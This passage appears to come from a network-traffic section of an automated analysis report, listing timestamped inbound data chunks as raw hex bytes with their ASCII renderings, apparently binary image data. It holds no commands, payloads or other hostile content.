e1 22 f5 98 c8 39 e4 50 42 0f 0f 0f bb ed d5 92 03 0e 47 7c f8 cb 3b 9b 28 a2 90 c7 78 d1 86 99 81 4a a2 ee fd 2d bf 0b 3b 
2c 9f fd 35 d4 95 a5 f2 4e 24 72 ed ee f8 c8 c7 71 0b dd ce af 73 17 4f a4 5f 88 1b 4f 36 d7 f3 23 3a 72 fe 2d 73 5a 39 44 
ba a7 c1 63 ea 67 d3 6b cb 71 27 71 d9 dc 45 34 57 92 6f 78 62 f1 47 73 b8 a7 b9 87 36 a3 af e6 a6 e2 cb af ea 1e b6 81 
7b 01 da e9 90 94 c1 79 6e 96 c6 d6 2e b4 ca ec 10 
Data Ascii: HWuO3nLV=y1?3Gm51'5~Y[\og|:[Wb'u2+e4T<w"9PBG|;(xJ-;,5N$rqsO_O6#:r-sZ9Dcgkq'qE4WoxbGs6{yn.

Timestamp
kBytes
transferred

Direction Data
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2022-08-11 03:42:55 UTC 6948 IN Data Raw: 11 32 cc c3 c3 88 e7 90 b7 e6 e6 d3 6c b3 78 43 5e 78 40 2c 9d c4 56 a8 b6 f6 80 b4 32 ae ea 81 cd 29 f2 f3 0f
4a 7e 1d 74 52 b3 c9 54 a3 82 e5 ac c9 2d 9c 70 ce 48 9e 24 da ca 07 05 2a 68 aa 7f 77 5c bb 6b 0e 4e 7d b5 83 ab 0b 
69 6f 2e 22 b3 b4 85 26 9a 77 09 18 f6 ee 3f 6e 96 b9 25 54 e6 02 1d e7 d9 17 7d a7 78 71 77 cf 1a dd 6c 49 f7 c6 49 46 
56 af 21 5f 8d 58 6b a2 1c c3 3a ad 4e a2 ce 60 ff 00 52 e9 4b 12 05 60 aa ad ee 62 38 33 ea f4 5d 46 4c 06 6d a5 92 e0 
d9 c1 cf 21 34 a2 fb 69 aa 19 bc 85 fb 73 1a cb 7d 13 4c ac 16 29 13 78 02 84 d5 80 61 5f 67 2e 96 dc 0b 6b 40 c7 f5 37 
b9 15 af 57 13 8d 83 e5 b1 b6 c0 51 5d 83 3c be ad d2 b2 7f 85 34 8a b5 e5 13 84 ca fd a2 97 5d ef 94 8b 18 08 82 32 86 
ae 07 96 34 e7 6f fe 1b 4d 4d 70 3d 71 c1 35 e5 9e 3a ff 
Data Ascii: 2lxC^x@,V2)J~tRT-pH$*hw\kN}io."&w?n%T}xqwlIIFV!_Xk:N`RK`b83]FLm!4is}L)xa_g.k@7WQ]<4]24oM
Mp=q5:

2022-08-11 03:42:55 UTC 6956 IN Data Raw: 17 5d 68 78 f7 76 b3 ce 0e 7b 87 35 83 96 f1 ed 8b cd 79 6c 8f 56 9d 00 53 35 68 dc 6b e4 55 f2 ed d3 6c d0 
ea ff 00 db 6b f4 f6 06 c4 a6 16 48 3b 8f bd 2c 32 2e 16 e9 e9 63 1a 2e c5 2b 42 5b 8f a7 f0 8d 72 ea f8 97 ae 6b 9d 9f f6 
93 74 62 9d 9e 4b 15 6f 28 be 8c 6e 54 72 dc 07 87 b9 87 e2 1a f4 ad ab 65 97 56 59 52 cf 05 ec cd ec 39 3b 65 9a e1 09 
8c 02 f4 6f 1d d4 e4 a7 fb da 7d 1f 1d e9 65 f5 6b fb 60 bc 25 94 37 0f 6f 95 cf 2b c9 89 eb 74 27 e8 b0 59 7c 85 d5 91 7c 
dd 3d de bf 26 e5 d9 af 4a ab ae 59 66 9f 2f da 47 de bd b1 16 2a 51 79 8c 2f 36 36 42 44 4f 22 80 e2 a3 c9 28 5f 6a fa 5f 
d5 a4 d7 b5 59 c2 1a b0 f8 29 f6 a7 74 4d 63 3a da 96 3f 2d 3b 05 75 3c 78 9e 5d cb f7 ea 3f 2b e2 ad 8a 7e ba 90 dd ae 
72 7e 81 fa 01 70 cd 96 bb 77 02 90 5b 88 cd 7d 
Data Ascii: ]hxv{5ylVS5hkUlkH;,2.c.+B[rktbKo(nTreVYR9;eo}ek`%7o+t'Y||=&JYf/G*Qy/66BDO"(_j_Y)tMc:?-;u<x]?+~r~pw[}

2022-08-11 03:42:55 UTC 6972 IN Data Raw: 42 c6 66 89 97 d7 b9 9f cb e9 d7 1e dd ae 89 b3 24 bc 09 f1 58 7b 65 b9 4b 7b f9 24 47 93 70 91 90 11 14 65 
83 f4 59 a4 3b b6 ca b2 7e 9f ef e8 51 f7 53 00 eb 00 ef a7 d6 2d 68 cd 2b b2 bc 19 17 9e c2 78 d5 a8 e1 6b 1f 31 f4 b2 3b
b2 ff 00 77 5d 76 6f c0 5b 27 18 1d 3b 5a d6 1e c4 ba 37 76 a8 6e 2e 15 a7 b6 21 8f 99 4d 15 a3 e9 f9 b9 5f 6e f3 a9 ab 
ba b2 2d b1 37 37 dc d7 b9 89 e6 83 b9 1e 90 dd dd da bd d4 40 6c 11 08 88 89 5e df 6f 2a 7f d3 3b 47 ab 2b cb 29 41 93 
bb 2e 05 b4 30 5e d9 00 d6 d6 57 36 ce f0 0e 02 ab 2a 6d 40 5b e2 1b 39 bd 6c db b5 cf a9 43 25 54 d5 b2 0c 8f bb 2d 67 
b3 8a 39 ab 6f 2c 3b 45 53 c5 99 7c a2 4a 7c 3a 4b 56 d3 81 6f 57 66 51 82 54 b9 92 58 71 6a 62 69 e5 04 c8 6a 36 a2 af 
52 57 fc 3c cb bb 54 4b cc b5 29 8c 97 63 b7 8f bb e0 
Data Ascii: Bf$X{eK{$GpeY;~QS-h+xk1;w]vo[';Z7vn.!M_n-77@l^o*;G+)A.0^W6*m@[9lC%T-g9o,;ES|J|:KVoWfQTXq
jbij6RW<TK)c

2022-08-11 03:42:55 UTC 6976 IN Data Raw: 69 f9 bf 36 a9 d6 32 34 62 4c c3 b9 6c 6c 31 17 52 db 43 72 2e 95 25 91 13 68 fe 58 3f a5 2e ef 27 ea 23 7a 
75 27 57 e0 07 ad bc 8e 7d eb dc c3 27 db b8 d4 17 26 6b 8b 37 da 0b 54 37 48 2f 4e 29 18 fc 5f 8f f0 e9 5d 9d b0 ca f5 
95 02 8e 32 f8 da bc 8a d3 1a 5c 46 52 50 0f 07 56 f3 86 d4 ae dd 56 0b fc 7d 55 6e 1b 1a 2f 3b a2 ea e7 12 b8 43 30 8e 
28 64 ea ee 35 dd 20 7f 8d 3d 49 a1 af 63 17 66 a5 4b 14 b1 37 16 90 c3 3e 32 e0 06 ea 32 b0 9a dc 52 53 40 79 54 b8 
e5 e7 d5 6c e3 c0 99 47 13 91 c9 da 46 6d 63 98 ac 65 8f 02 0d 2a 7d 8c 3d 2c de 6d 6b 39 12 da fb 11 e6 b0 49 1c d1 
45 0c c2 6b b6 0c 26 11 9a 70 23 77 16 f6 9d 2d 6d 1c 8c 97 51 b6 df b8 ed ad 64 36 f6 90 c0 2d 92 14 da e1 49 2d 4a 79 
ff 00 19 f5 69 13 6c 54 a4 01 95 bd 91 26 9e f6 34 e2 13 6b 06 
Data Ascii: i624bLll1RCr.%hX?.'#zu'W}'&k7T7H/N)_]2\FRPVV}Un/;C0(d5 =IcfK7>22RS@yTlGFmce*}=,mk9IEk&p#w-
mQd6-I-JyilT&4k

2022-08-11 03:42:55 UTC 6992 IN Data Raw: 22 8d 7d be a7 e8 af ee a3 d5 af 08 d4 7e 93 76 5a 5e 76 ed d5 d4 87 64 f7 d3 6c 47 f1 0a 91 72 90 cb ee 92 
47 6f ee 6b c5 fe a3 f3 fe cd 95 63 c0 e4 df b2 3d 30 6c b6 b7 6d 61 89 54 79 63 69 a0 92 b2 51 4e f6 a2 08 d1 b7 7a 97 
62 2a fe ef 36 bc dd 9b 57 c8 d7 09 d6 7b 7b 63 d6 4f bf 65 cf b4 0b dc ff 00 50 ec 30 b8 56 bb b9 b4 49 e3 66 6d 91 ee 
28 fd 59 15 95 b6 8a 55 57 d5 3a fa b5 e9 7c 28 b5 7e db 53 d4 6d 6e 71 07 e5 0c 8d dc 97 72 99 6e 5d a4 99 f9 9d c9 a9 
27 ed d7 bf 55 1c 1d e9 24 55 22 a7 86 98 63 77 fa 1d f4 92 d7 20 96 7d c9 73 33 3d c7 56 6d 96 c2 91 ed 78 88 e9 cb d7 
63 e9 ae fd 9b 3e 1d 70 7c 9d 8e ff 00 ed d3 9b 7b bf 70 8e cb 4e 11 b1 e4 71 78 e9 31 f7 9d bc ed 3d b4 f7 11 d6 51 27 
ea a4 a0 36 e9 1a 1b 8f 0e af ab 66 ef f0 e9 3f db f8 d5 
Data Ascii: "}~vZ^vdlGrGokc=0lmaTyciQNzb*6W{{cOeP0VIfm(YUW:|(~Smnqrn]'U$U"cw }s3=Vmxc>p|{pNqx1=Q'6f?

2022-08-11 03:42:55 UTC 7008 IN Data Raw: 25 dc 46 7b a8 fe 7e 08 10 75 3a 8e 57 60 f6 16 6f 3e d0 da 92 ed 32 f8 11 d9 cc 03 ad 3b 84 db 0b 94 b2 86 
1b 63 2c 7d 27 11 86 a1 55 6d d5 5d e7 76 a1 b9 b6 e1 70 71 ee 6f 81 9f eb 47 73 4a bd c3 6b da f6 92 1b 5b 68 60 54 70 
3c 0b 4a 12 4e 6f cd b5 75 d6 e9 87 8c 57 db ff 00 71 6a d7 c0 b3 6b dd b6 79 ae d5 38 ac 89 78 72 70 4e 3a 63 69 21 94 
1a 6f 56 f2 83 b7 cd a9 35 55 58 f1 24 eb 0a 18 c7 84 c4 75 54 65 6f a4 03 23 2a 34 30 c4 a2 8b 14 1e 5e 45 f1 eb 4c 7c 
cd ae 77 6a ba c2 f7 12 b5 a5 41 7f 3e b0 e2 a3 87 0f 00 05 6d eb 35 cd 3d 92 11 cb 1f ff 00 4d 3f c5 af 37 e7 35 ad 2d 6b 
dd f5 7e f0 97 5d 17 5f e6 03 76 6e 4e 26 c6 65 a6 8b 91 61 b2 95 43 78 71 93 f4 c6 bb 7e 25 5d 65 fe 90 68 c3 66 73 1d 
9d 92 4b 32 0d e9 77 1c 42 58 9e a3 a7 d4 55 ad 1b e2 
Data Ascii: %F{~u:W`o>2;c,}'Um]vpqoGsJk[h`Tp<JNouWqjky8xrpN:ci!oV5UX$uTeo#*40^EL|wjA>m5=M?75-k~]_vnN
&eaCxq~%]ehfsK2wBXU

2022-08-11 03:42:55 UTC 7016 IN Data Raw: 81 af 8e a7 b2 b0 4d e0 6b ef 9c 8a c7 6c b8 2b 26 12 47 bb a9 23 d7 c5 87 00 9f bb a9 d1 15 10 e5 56 a0 5f 
77 b3 4f e2 4f 32 41 04 9b 49 43 c4 0d 55 a1 c7 de cd c8 3d d5 bf c9 b1 25 a8 db 49 f6 0a f8 7e ee b9 76 a2 b4 61 e8 29 
70 5c 48 03 4b 15 54 1f b0 6a 1c 16 2d 59 5b 8d b4 2c 17 d4 4b 1f 77 85 34 70 61 33 b9 23 54 9d a4 89 8a d0 9a 54 52 
a3 ed d5 68 46 ea 45 c3 93 49 92 48 d8 51 c8 a1 3a e8 e8 41 d4 a9 82 bc b8 c3 df 45 90 b6 a1 96 16 dc 2a 38 7b b8 ea 
97 f5 28 63 70 4b 90 96 4b 89 9a 69 bc c5 89 3f b7 89 d2 57 0a 0c 98 4f 09 9a 97 60 b7 32 98 76 92 62 73 c4 02 7d 2c 3e 
06 d2 d9 0f 23 9f d3 3c 88 bf c9 5d 58 df 46 b1 c8 2c 2e 02 32 0e 2e fc 1a 35 e1 e6 0d a5 75 51 26 17 b3 a2 09 f2 b3 c2 df 
a4 b2 0e 41 ec 0c 3d 23 53 a7 18 33 c9 4b 1d d9 b2 cb 79 1f 
Data Ascii: Mkl+&G#V_wOO2AICU=%I~va)p\HKTj-Y[,Kw4pa3#TTRhFEIHQ:AE*8{(cpKKi?WO`2vbs},>#<]XF,.2.5uQ&A=
#S3Ky

2022-08-11 03:42:55 UTC 7032 IN Data Raw: 58 14 09 a2 45 0b d5 6a ff 00 08 7a e4 45 f3 48 bf 0e 97 7f c8 5a d4 fe 63 3b 49 47 eb 17 68 df 45 83 5b fe aa 
cf 6c aa a8 db 02 ed 56 4e 05 50 aa ab 8d 9f 03 f3 6b 97 4b 6a ea cf 35 bf b6 e4 fc 64 cf 72 57 f2 dc e3 2d 10 02 b2 14 51 
0a ad 08 6f 4d 47 b9 b5 d2 97 5b 39 e0 e9 aa 49 17 e3 b0 86 c0 45 65 7c dd 6b f9 88 3d 16 63 b5 38 55 89 44 da bb e9 
e9 6d 46 bb 1e c6 dd 57 a3 f3 92 ad fb 3e 05 cb ae e1 94 97 44 93 f4 a5 62 c5 47 f7 7f dc d7 65 75 95 76 65 14 b4 9a 0b 
c7 8a d6 31 3b b1 65 40 cb b8 6d 3e ae 3e af c5 aa ab 4a 02 64 77 d1 ad b5 15 88 2f 4f 0f 76 85 65 8b c1 4a da 03 2a b4 
8e 7c 38 8a fb 75 57 82 88 bf 87 bf b7 b7 b8 69 2f 0b 12 12 89 b4 57 9b d9 fb 35 3d 94 76 58 12 ca 43 57 dd dd 90 bf 82 
1a a0 64 b5 e5 47 93 c0 0a f9 0a f8 1d 73 2d 29 3c bf 
Data Ascii: XEjzEHZc;IGhE[lVNPkKj5drW-QoMG[9IEe|k=c8UDmFW>DbGeuve1;e@m>>Jdw/OveJ*|8uWi/W5=
vXCWdGs-)<

2022-08-11 03:42:55 UTC 7048 IN Data Raw: a1 85 67 64 04 b0 8f 94 b0 f7 83 c7 4f 5c 16 c1 7f 03 33 bd ac b6 2c 79 48 3b 4f bc 68 5a b2 64 fc 0f 5b 28 cd 
2c 31 44 bb 5e 02 0d 0f b0 8d 73 ad 5d 65 91 e9 0e 43 b9 4d b7 98 ae 32 f1 49 ea c9 ef dc 3f dd ae 99 3c 96 ec 84 fc cd 
d4 d7 44 42 09 d8 38 13 aa eb 55 59 07 65 e0 10 c5 64 6d 8d 86 eb ca 81 0c a1 76 fb 5c 53 cb a2 e9 9c 01 2f 31 ca 79 f1 
99 6e dd ff 00 a3 1d 2b e1 32 4b 1a 57 c3 6f b9 8f aa 9a ce b1 91 b1 00 ac ad cc dd cf 28 9a 6d 89 92 48 42 6e 3c 0c c5 
7c 81 ff 00 e6 ec e5 dd ae 3e ce 61 9c ab d4 e2 c2 ed b0 b8 b1 dc 63 24 ce ca 51 80 f6 03 e2 35 6e c9 fe c2 be 95 82 e5 
95 bc 8a 6b 73 70 54 0f 40 15 3a 8d ec bc 11 1b 5d 78 0c 90 67 b1 f1 a3 45 73 6a 67 3d 1e 9c 45 5f 6d 1b e3 6f cb f0 eb 
9f 56 b5 2d d8 8d 5a 6c 07 3d d8 68 4a c6 3f 55 57 fb 
Data Ascii: gdO\3,yH;OhZd[(,1D^s]eCM2I?<DB8UYedmv\S/1yn+2KWo(mHBn<|>ac$Q5nkspT@:]xgEsjg=E_moV-Zl=hJ?
UW

Timestamp
kBytes
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2022-08-11 03:42:55 UTC 7055 IN Data Raw: 7b bb 8b 7b df 9c 9e 78 fe 5e 42 81 e5 07 d6 9e 0e ad bb 6f 36 ba af b6 c9 af dd 3a 2f 68 20 c1 77 8d a5 96 76 
f3 23 94 0c 64 b9 8c 10 e6 30 a5 a5 20 2c a8 f1 28 d9 be 4f 56 df 5a ef db cd a1 b1 3b ac 01 d7 b7 00 fe f6 b1 c8 47 60 
97 39 3c 7c d0 c3 24 c5 ed ee 0c 4d 1a 10 4d 7a 55 3f 83 cb bb 6f ef 68 eb 51 c1 45 a9 d4 4e c8 45 d7 a7 1e 20 0d 56 8c 
d5 61 2c 4e 45 e7 09 68 53 74 82 9c 07 b4 7c 3b 74 97 a0 1d 33 23 32 77 2d e4 7b a2 dd fa 74 55 29 e1 ca 38 1e 0d a8 
2a c1 95 52 2c e6 2e 2d b3 b6 a8 db 1a 39 23 54 d8 f5 e0 42 a7 4d 90 fa 7c 57 97 4c d8 e9 49 25 95 ed d3 63 27 89 7f 5b 
67 33 31 a6 e1 1d 79 f7 2f ab 9b 53 75 07 3c 11 65 f2 b7 11 48 24 b6 24 59 44 e0 46 0f 38 d9 41 42 fe fd ba 54 d3 f4 b2 
4d 25 c8 1b 35 7f 56 f9 2b 56 05 1e 77 75 55 f8 5c 2b d1 
Data Ascii: {{x^Bo6:/h wv#d0 ,(OVZ;G`9<|$MMzU?ohQENE Va,NEhSt|;t3#2w-{tU)8*R,.-9#TBM|WLI%c'[g31y/Su<
eH$$YDF8ABTM%5V+VwuU\+

2022-08-11 03:42:55 UTC 7071 IN Data Raw: 2e 83 70 6e d0 41 71 58 1c 80 49 27 89 07 ed d1 4d b1 53 92 ac d7 72 20 af 0e 3a 75 54 c7 4a 4e e2 ba 54 50 
c5 81 66 f6 69 5d 25 9a d5 90 ee 2f b9 c5 94 0d 6f 22 d7 89 60 47 db a5 7a c1 d6 01 d8 bc b4 0b 70 cd 32 ab 3b 3e f5 dd 
e5 af c3 a3 7a 38 94 1b 54 e6 6c b4 f7 97 66 f9 dd 85 c2 1a a9 06 94 a7 b0 0d 3f 0a 06 ab 27 79 1a 58 83 44 06 e6 a9 2a 
3d e7 c7 53 f1 26 94 b2 bd 84 86 56 f9 75 a2 9e 24 83 c3 55 78 19 a2 9d ca d2 70 8d c5 7d c7 d9 a7 5c 0e b8 2c ad cf 4c 
ee f1 2b e1 f6 fd 9a 58 91 50 df 8f c6 e2 a3 b1 37 93 02 ee 54 1d d5 35 07 e1 5d 4d f9 13 76 97 00 19 2f 1a 56 0d 20 35 
23 94 d3 c0 7b 35 2e 81 eb 03 86 13 b8 a0 c2 e1 a6 5b 65 a6 42 56 a6 ef 68 53 ff 00 66 bc ed ff 00 19 ed d8 9b f6 23 a2 
9b 15 50 b8 d7 d6 3d 3f d7 b5 62 5f c5 c3 9a 9f 7f ed d7 
Data Ascii: .pnAqXI'MSr :uTJNTPfi]%/o"`Gzp2;>z8Tlf?'yXD*=S&Vu$Uxp}\,L+XP7T5]Mv/V 5#{5.[eBVhSf#P=?b_

2022-08-11 03:42:55 UTC 7075 IN Data Raw: 42 eb 32 45 a6 b2 7b 2b bc 6a 63 62 68 a0 06 23 42 27 23 a5 21 dc 5f 73 62 f1 31 c9 04 90 91 21 84 29 a7 36 
f6 3e a0 c7 f8 6d f1 2e 9b a3 b1 9a 62 1d d9 0c ec 47 00 4d 69 ae 9a 8d 5c 13 25 a7 46 d8 dc 4a 69 bb 82 00 7c 75 a6 5c 
0d 32 52 15 6f 13 52 74 e6 18 31 5d ab 73 79 6f f3 16 e0 34 e1 80 58 aa 0b 1f dc f3 6a 36 bc 31 5b 34 fb 3e ef 8a 1c 47 fe 
9c 8e 37 58 d0 49 37 4e 45 a1 b7 94 80 d7 11 6d f8 52 65 eb 5b 3f a5 5f 5c fb 25 81 fa 90 cf 8f c6 47 98 9e 7b cb 89 15 
a7 b6 b1 12 ad c4 6c 23 42 db 95 3a 9d 4f 4a b2 b6 d9 07 c5 ae 3b 37 18 33 af 5e 41 99 8c 0d ac 39 22 92 df b3 d9 18 cc 
d6 86 4e 7d cc 4f 4d 9a 25 88 ec 2c ac ac bb bf 7b 4f 46 9a 11 35 e0 85 8b ec ad d0 49 2d 21 97 a9 31 21 57 98 51 4d 7d 
af f9 7f 17 2e 8a ad 6b c8 fd d5 39 1b 70 bf 4b 23 c6 
Data Ascii: B2E{+jcbh#B'#!_sb1!)6>m.bGMi\%FJi|u\2RoRt1]syo4Xj61[4>G7XI7NEmRe[?_\%G{l#B:OJ;73^A9"N}OM%,
{OF5I-!1!WQM}.k9pK#

2022-08-11 03:42:55 UTC 7091 IN Data Raw: 11 83 57 e1 ae 84 c7 3d b4 57 8c d1 e8 b4 14 d1 b0 59 73 30 aa f2 05 70 40 a8 35 fb c7 b7 53 a6 09 d7 04 90 
db 5c 2c bd 54 61 d2 2b 4d de f1 ed 1f 7e 95 a4 62 dd b6 36 4b 89 04 71 70 de 57 69 1c 3c 7e df 66 83 70 a4 74 a0 6a c7 
e6 71 b8 18 82 41 02 de 5e 48 4a 96 71 fa 6a 57 db f8 f6 eb 82 fa ef bb c7 ed d3 fc 44 da 76 02 77 06 76 7b e7 56 bc 9c 
b6 e3 43 b0 00 07 c2 a8 a3 cb ae 9d 3f 1e ba d7 a5 7f 31 5a d1 55 01 a4 99 23 bc 31 43 19 67 8e b5 24 fb b5 78 71 91 db 
4b c0 b1 36 5e ee de 44 59 d5 a3 72 37 2d 47 02 a7 43 ed a1 3b 40 4f b7 ba b0 df 34 6f 6e 0b dc 44 42 03 f1 1f 50 dd e1 
a4 b4 40 6a e4 65 ee 7c 44 38 a9 2d eb 20 17 c6 dc 7c c2 8f 0a b1 aa a7 ee a6 dd 79 f7 73 82 3f 22 b5 8f c4 51 ee 7c c9 
8a 13 14 47 c4 6d fd be df ec d5 7e 2e 89 72 ce 7f 8f a6 
Data Ascii: W=WYs0p@5S\,Ta+M~b6KqpWi<~fptjqA^HJqjWDvwv{VC?1ZU#1Cg$xqK6^DYr7-GC;@O4onDBP@je|D8- 
|ys?"Q|Gm~.r

2022-08-11 03:42:55 UTC 7107 IN Data Raw: fe da e2 35 59 e3 f5 1d 8c 3d a1 d7 95 f5 94 78 86 51 cd bd f9 b3 93 a9 75 1b 6d 20 d3 87 0a 8d 6e 93 c0 90 
56 4b 69 6f e6 2f 6d 40 cc 0b 71 34 1c 7c 74 eb 18 63 57 00 c5 8d a1 90 87 e0 dc 47 ff 00 86 a8 dc 8f c1 3c 30 56 94 3c 
de ed 23 66 82 68 ae 16 0a a1 14 27 8d 7d ba 11 22 05 25 8d 64 85 67 8c d7 72 d3 f6 fd ba 8c c3 05 96 24 bc b8 19 cc 22 
7b 35 69 22 d8 09 af 03 5f 55 07 c2 35 cc f7 29 86 41 5d 14 f1 56 d2 8b b4 96 24 63 2c 6e 09 2a 2b fb 1b 5d 0e d8 2e b0 
0f ba b5 92 ca ea 40 b5 e0 c4 f0 e1 c0 9d 55 59 59 0c d4 96 6e b2 66 7d af 28 1b 95 42 82 05 2a 07 c5 a9 ad 5d 78 11 52 
1e 08 b1 31 75 6f d5 c3 6d 02 44 05 bc 42 86 3b 37 37 d8 ba a5 96 20 76 86 d4 ba 92 0b 87 e9 84 b8 9e 07 60 ce e4 3a 
10 01 5a 28 f6 8d 70 c4 3c 90 cd 4e 2e f2 56 b9 2b 78 5b 2b 
Data Ascii: 5Y=xQum nVKio/m@q4|tcWG<0V<#fh'}"%dgr$"{5i"_U5)A]V$c,n*+].@UYYnf}(B*]xR1uomDB;77 v`:Z(p<
N.V+x[+

2022-08-11 03:42:55 UTC 7115 IN Data Raw: 11 83 af 33 e4 f5 7c 93 b3 90 ae 7f 31 35 bd cb 5a e3 66 66 bc 55 2c f7 65 77 49 21 f0 da 3d 88 9c 35 c1 a6 2d 
9f a4 d4 d7 e2 06 ec be c5 bd c8 4a 6d d1 3a eb 7c e2 b2 91 c0 54 ee 7d fa ec b6 ee cd 55 17 70 94 fb 8d 13 ea 77 68 e3 
6c ad e0 b6 bd 97 62 44 00 2d 4f 28 5e 1c ab ea 92 4f 24 6b a4 7a fa 3c 1c aa b2 c4 fc 3e 7f 11 8e 79 9e ee d5 de 01 48 
e1 40 7d 9f 1c 9f 8b 5c 8d 76 1a c8 b1 f5 3b 03 2d b5 9d bd dc 10 b2 5a ce eb 75 23 12 2a 40 5e 9c 5c be 6d a2 ba be 8f 
f6 fd 2f c7 d8 1d 6f 22 86 05 ae ae 6f 8f fd 38 b9 32 44 e8 91 bf 0a d4 10 af fb bb b5 d3 6b aa a3 a1 d8 60 93 b0 fb 72 c2 
48 ad b3 c6 e2 d6 66 40 44 87 8c 6e f4 e7 da 3e 14 d7 3e bd ee cf 04 9a 1a fb a3 b9 84 b8 d9 ad 01 dd 0a 2a d0 8f 68 5a 
6d a7 ec d7 53 b4 85 60 ca 32 bd c4 86 d9 6c a0 86 
Data Ascii: 3|15ZffU,ewI!=5-Jm:|T}UpwhlbD-O(^O$kz<>yH@}\v;-Zu#*@^\m/o"o82Dk`rHf@Dn>>*hZmS`2l

2022-08-11 03:42:55 UTC 7131 IN Data Raw: d2 9d 12 64 03 c0 ab 72 1d 75 7c 37 97 56 2f c7 79 68 cd fb 2f 3e b6 57 39 1b 11 62 96 16 76 13 49 b2 70 79 
68 8f d2 22 e1 db 98 b3 b7 30 fe ee ba 16 1c 22 d0 fc 05 ce e2 5b 6e e0 ee 5b bb 90 f1 4d 65 6f 10 7e 04 10 a8 40 df b9 
bc bc cd bf 50 d8 e4 17 79 33 8e dc 8a 2c 9f 5a d6 46 a4 0d bc a1 3c 4e da 9d bf dc d5 5a 19 36 80 d8 7e eb bf c4 56 3b 
49 0a 83 55 61 e2 0f b3 4f 6a a2 88 a7 79 73 1b c2 c5 54 06 66 ab b0 ff 00 56 b1 5e 51 72 2b b6 c8 d9 a5 95 bb 98 99 29 
c9 e9 72 3d a7 f1 6a 5d 7a b9 61 ad 0a b3 e3 27 8f f4 e5 5d 92 a8 a9 d3 ab af 01 dd 60 1e 86 42 c5 10 6e 6f 61 d3 89 11 
c9 c5 d6 ea 91 25 07 fa f4 50 a9 23 cb 79 c0 61 c2 b4 f6 8d 06 80 d0 51 6e 03 b0 33 0a b5 29 5f b3 53 48 43 d8 a1 ea ab 
44 4f e9 9d 08 68 33 05 8c 7c e3 17 75 12 b7 18 a4 04 35 
Data Ascii: dru|7V/yh/>W9bvIpyh"0"[n[Meo~@Py3,ZF<NZ6~V;IUaOjysTfV^Qr+)r=j]za']`Bnoa%P#yaQn3)_SHCDOh3|u5

2022-08-11 03:42:55 UTC 7147 IN Data Raw: 50 66 7e 6b 23 29 44 91 99 a4 22 80 ec 1c ce 95 5f 7f a7 56 e9 d6 b8 42 3b f6 b6 46 6b de cb c2 5d c8 cd db 
f2 fc c6 ca 7e 8b b8 56 fc 3e 7d aa cd e6 f2 ea 3d ac 2d da 98 22 8f b4 be 4f 1d 75 1e 4e da 43 1b 4a 0a 3d 3c 18 1e 1b 
5b e1 db e7 d7 1e dd b6 56 5d 59 cd 6a b5 91 da 7c fd 86 41 a5 69 14 33 20 02 18 c0 ad 36 81 b3 6f e1 d7 90 a8 d5 a7 
c0 97 56 dc a0 57 6e f7 1b f6 dd dc 92 47 04 11 5b dd 33 49 31 0a 59 81 f1 dc 42 9d fb 7e 14 4d 7d 0f c5 df 38 3a 7e d5 
d2 91 8f 27 df e7 1b 05 c6 4a d2 21 06 42 5b 56 8e d8 38 fd 67 0d fc e6 b7 5e 68 a3 51 e4 69 39 b5 ea 3b 2a 64 c9 46 4c 
23 ff 00 52 5d 5c cd 15 cc f3 31 ba 85 42 23 0a 2d 00 fb bd ba 9b 2a 91 7f 17 db d7 f9 7e bd ea ab 4c ad bc 3b 7d a0 6f 
dd a9 30 0d 38 7e ed c8 1e dc bb b5 57 8a 0c 7e c8 e3 95 55 
Data Ascii: Pf~k#)D"_VB;Fk]~V>}=-"OuNCJ=<[V]Yj|Ai3 6oVWnG[3I1YB~M}8:~'J!B[V8g^hQi9;*dFL#R]\1B#-*~L;}o08~W~U

2022-08-11 03:42:55 UTC 7155 IN Data Raw: ff 00 4f 0d 6f b6 63 d4 cd 31 a8 52 41 3e dd 1e 86 2f 63 fb 96 f2 d2 da e2 d9 24 a4 37 60 2b 83 c4 02 3c b3 2f 
c3 22 79 77 7c 1c ba 57 54 14 55 b7 cb 7c a2 74 e3 6a aa f8 6b 3a 76 31 11 cc b0 6a f8 9f 13 a3 f6 c0 47 75 92 17 28 62 
23 c7 db a3 5a c1 8f 25 ba a4 21 2a 7e da fd 9a d0 62 f6 1b 1d 7b 71 d4 36 ea c6 38 d7 a9 23 0f 62 0f 5b 7e 15 d2 5e c9 
08 f0 4b 9a b9 8e 75 b7 82 02 c5 90 1d fe da b1 3e 23 f7 76 e9 68 9a 96 c1 56 fc 4d 6f e9 65 84 76 b7 58 fc 7e 76 d7 73 
c5 71 2c 71 33 00 52 48 ee 36 9f d4 07 ce 15 a3 64 f2 f2 75 23 6d 71 7c 8d b2 a6 af cb b9 3d ae 38 33 8e fd bb b6 ea 7f 
4b b4 8c ac 16 37 37 62 26 af f2 a4 93 7a 42 07 a5 63 75 76 fd fd 76 e9 b3 b2 97 e5 51 b5 b6 c4 f3 cc 28 3c 75 72 8d 96 
1d c5 bc 61 07 de 4f db a5 e5 9a 41 cc c1 8d 4e ac 69 
Data Ascii: Ooc1RA>/c$7`+</"yw|WTU|tjk:v1jGu(b#Z%!*~b{q68#b[~^Ku>#vhVMoevX~vsq,q3RH6du#mq|=83K77b&zB
cuvvQ(<uraOANi

Timestamp
kBytes
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Direction Data
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2022-08-11 03:42:55 UTC 7171 IN Data Raw: 1e 92 de 25 74 ad 7e 30 22 59 1a b0 f8 29 ef 9a 7b ac 9d c4 96 e6 28 d9 d7 a2 09 8f 70 1c 91 d3 fe 67 a9 fd 3a 
95 92 78 05 ed db 83 e8 73 91 cf 8e fe 9b 23 ab cb 30 4e a2 d6 84 46 0e e6 4a fc 4f e5 6d 71 5b 4f ab b0 2b a9 d8 2d 3b 
d8 4d 66 cb 76 df 2d 77 60 b1 c6 d1 bf 8b 6c 75 d8 f1 fc 5b ed fc da 6f b0 dc b4 c9 df 5f 90 bd dc 9d c5 65 7d 9e ea da 2a 
4b 6a d7 3d 55 32 02 52 81 15 38 c5 cb f0 ea 9a 35 35 48 b1 d1 4a e0 62 ed e8 57 be a7 7c 6e 32 25 79 04 2c 6e 2f ae 
2a 76 01 e5 5b 78 3d 1f 06 95 68 e8 a5 b2 6a 8a a6 85 db dd a7 8e ed 5e 8e 57 1a 5e 59 b6 30 6b 99 2b 59 55 86 d3 1c 
7e 2a bb 59 79 55 75 e5 ee bd ee e1 4a af f8 41 67 2c 5b ee ee fe 9c 59 5d 2e 32 20 d6 59 44 10 16 0d ce 8e 18 09 a4 
65 f4 b7 4f 91 bf bd ab 7c 4d 71 35 bf bb f5 02 b2 bf bc 07 
